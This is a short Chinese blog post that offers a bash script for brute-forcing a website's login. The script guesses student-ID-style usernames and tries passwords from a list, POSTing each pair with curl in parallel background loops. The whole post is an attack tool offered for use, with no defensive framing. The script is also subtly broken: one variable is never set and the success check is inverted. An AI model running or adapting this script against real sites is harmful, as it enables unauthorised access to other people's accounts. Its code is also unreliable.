linux下,shell脚本暴力破解用户名和密码

#!/bin/bash
#
# This script is used to bruteforce crack the password
# Written by Stone Han
# Mail : 
# Date : 19-10-15
#

# where the crack passwds store
passwd_file=passwd_file

cat $passwd_file|while read password;
do
{
	for year in `seq 1 20`
	do
	{
		# -w place 0 at the front of the number, making the numbers with the same digits
		for academy in `seq -w 1 17`
		do
			# sid:form of the username
			sid=$year$academy$number
			html=`curl -s -d "uid=$sid&pd=$password" LOGIN website`
			flag=0				
			# [[ must be usend in bash, LOGIN OK is the symbol of successful login in the response 
			[[ $html =~ "LOGIN OK" ]] && flag=1
			if [ $flag -ne "1" ]
			then
				# store the result in the file result					
				echo $sid $password >> result
				curl -s LOGOUT website > /dev/null
			fi
		done
		# daemon process
		}&
		done
}&
done
# wait for all the deamon processes finish
wait

编程技巧